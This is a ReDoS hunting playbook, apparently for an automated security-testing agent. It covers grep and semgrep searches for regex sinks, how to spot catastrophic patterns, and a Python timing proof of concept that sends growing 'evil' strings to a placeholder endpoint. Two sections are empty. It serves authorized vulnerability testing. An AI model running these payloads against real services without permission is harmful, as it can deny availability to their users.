ReDoS Hunting Playbook

Regular Expression Denial of Service exploits O(2^n) or O(n^2) matching time in backtracking engines. One crafted string can peg a CPU thread for seconds or minutes against an otherwise tiny pattern.

1. Identify Backtracking Engines in Scope

Not all regex engines backtrack:

If the target uses RE2 or Go's regexp, skip this playbook — no backtracking, no ReDoS.

2. Source Patterns — Where Tainted Input Reaches Regex

# Python
grep -rn 're\.match\|re\.search\|re\.fullmatch\|re\.compile\|regex\.match' /workspace/src \
  | grep -v '#' | grep -v 'test_' | grep -v '_test\.py'

# Node.js / TypeScript
grep -rn 'new RegExp\|\.match(\|\.search(\|\.test(' /workspace/src \
  --include='*.js' --include='*.ts' | grep -v 'node_modules'

# Java
grep -rn 'Pattern\.compile\|\.matches(\|\.find(\|String\.matches' /workspace/src \
  --include='*.java'

# PHP
grep -rn 'preg_match\|preg_replace\|preg_split' /workspace/src --include='*.php'

# Ruby
grep -rn 'match\|=~\|Regexp\.new\|\.scan(' /workspace/src --include='*.rb' \
  | grep -v '#'

# Semgrep for tainted-input-to-regex-sink
semgrep --config p/regex /workspace/src --sarif -o /workspace/sem-redos.sarif 2>/dev/null

For each hit, determine whether the regex pattern is:

• Static (hardcoded string literal) → scan the pattern itself
• Dynamic (constructed from user input) → separate vuln class (regex injection); flag it and continue

3. Catastrophic Pattern Recognition

A regex is potentially catastrophic if it can match the same character through multiple paths. The two canonical forms:

Form 1: Nested quantifiers

(a+)+, (a*)*, ([a-z]+)+, (a|a)+

The inner group can match one character in multiple ways → exponential backtracking on a string like aaaa...b.

Form 2: Overlapping alternation

(a|aa)+, (a|ab)+c, (x+|y+)+z

Two branches can match the same prefix → exponential when neither eventually matches the suffix.

Quick pattern scanner

# Find potentially catastrophic regexes (grep heuristic)
grep -rn "$(printf \
  '(\([^)]*[+*][^)]*\)[+*])\|(\([^)]*|\[^)]*\)[+*])\|(\([^)]*[+*]\)\{[2-9]\})')" \
  /workspace/src 2>/dev/null | grep -v 'node_modules\|\.min\.js'

# Better: use vuln-regex-detector (if available)
python3 -c "
import subprocess, json, os, sys
# Try to find all regex literals in Python files
import ast, glob
for path in glob.glob('/workspace/src/**/*.py', recursive=True):
    try:
        tree = ast.parse(open(path).read())
        for node in ast.walk(tree):
            if isinstance(node, ast.Call):
                fn = getattr(node.func, 'attr', '') or getattr(node.func, 'id', '')
                if fn in ('compile','match','search','fullmatch'):
                    for arg in node.args:
                        if isinstance(arg, ast.Constant) and isinstance(arg.value, str):
                            print(path, node.lineno, repr(arg.value))
    except Exception:
        pass
" 2>/dev/null | head -50

Patterns warranting deeper analysis (flag these):

• Any group with a quantifier inside a quantifier: (X+)+, (X*)+, (X+)*
• Alternation where branches share a prefix: (ab|a)+, (abc|ab)+
• Long character classes under a star inside a group under a star: ([a-z ]+)+

4. Taint Heuristics — Is This Reachable?

For each flagged regex, trace whether attacker-controlled data reaches the pattern, the string argument, or both:

1. string tainted, pattern static → ReDoS possible if pattern is vulnerable
2. pattern tainted → also check for Regex Injection (attacker adds their own quantifiers → instant ReDoS)
3. Both tainted → highest risk

For web endpoints, check:

• URL path / query param → regex for routing or validation
• HTTP body field → input validation regex
• Header (User-Agent, Content-Type) → server-side validation

5. Timing PoC Construction

A valid PoC must demonstrate measurable time difference between a benign and a malicious input against the same endpoint.

Evil string generation

For a vulnerable pattern (a+)+$ on a string of length n:

• Malicious: "a" * n + "b" (forces full backtracking on the trailing b)
• Benign: "a" * n (matches instantly)

General evil-string construction:

1. Identify the "pump" character (what the repeating group matches)
2. Append a character that breaks the match at the end
3. Scale the pump length until response time > 3× normal

import time, requests

TARGET = "https://<TARGET>/api/validate"
PUMP = "a"
FAIL = "!"

for n in [10, 100, 500, 1000, 5000, 10000]:
    evil = PUMP * n + FAIL
    benign = PUMP * n

    t0 = time.time(); requests.post(TARGET, json={"input": benign},  timeout=30); t_benign = time.time()-t0
    t0 = time.time(); requests.post(TARGET, json={"input": evil},    timeout=30); t_evil   = time.time()-t0

    print(f"n={n}: benign={t_benign:.3f}s  evil={t_evil:.3f}s  ratio={t_evil/max(t_benign,0.001):.1f}x")
    if t_evil > 3.0:
        print(">> CONFIRMED REDOS — halting to avoid DoS")
        break

6. Validate Finding Contract

Use validate_finding with:

success_patterns:
  - "<time_evil> > 2.0"        # or match pattern in response body if timed-out
  - "Response time delta > 2s"

negative_command: same request with a short benign input (n=5)
negative_patterns: ["< 0.1s", "< 0.5s"]

Minimum bar for a valid ReDoS finding:

• Malicious input takes ≥ 3× longer than benign input of similar length
• Time scales super-linearly with input length (not just 3× at n=100)
• The pattern is reachable without authentication, OR the impact is amplified by concurrent requests (even authenticated paths can be DoS)

7. Engine-Specific Notes

JavaScript (V8)

V8 added backtrack-limit mitigations in Node 16+ and Chrome 93+ (RegExp.prototype.exec timeout, but controllable via --max-old-space-size). Still exploitable with long inputs or on older Node versions.

Python re

No backtrack limit by default. re.fullmatch on complex patterns blocks the event loop in async frameworks (FastAPI, aiohttp) — single thread DoS. Test with: python3 -c "import re,time; t=time.time(); re.match(r'(a+)+$','a'*25+'b'); print(time.time()-t,'s')".

Java java.util.regex

Thread-blocking. Servlet containers / Spring endpoints that call Pattern.matches(taintedOrBadPattern, input) without timeout will pin a thread. Test with StopWatch timing.

PHP preg_match

Has pcre.backtrack_limit (default 1000000) and pcre.recursion_limit (default 100000). Hitting limits returns false (not an error by default), but causes CPU spike before the limit kicks in.

8. Default CVSS

9. Chain Promotion

ReDoS alone is a DoS primitive. Promote via:

• enables edge to availability impact node
• If the endpoint is in a critical auth or payment path → escalate severity
• If the regex also leaks match groups (regex injection) → dual vuln class

kg_add_node("vulnerability", "ReDoS in /api/validate::input",
  props={"pattern": "(a+)+$", "file": "api/validators.py", "line": 42,
         "cwe": "CWE-1333", "evil_input_len": 10000, "evil_time_s": 12.3,
         "key": "redos:api-validate-input"})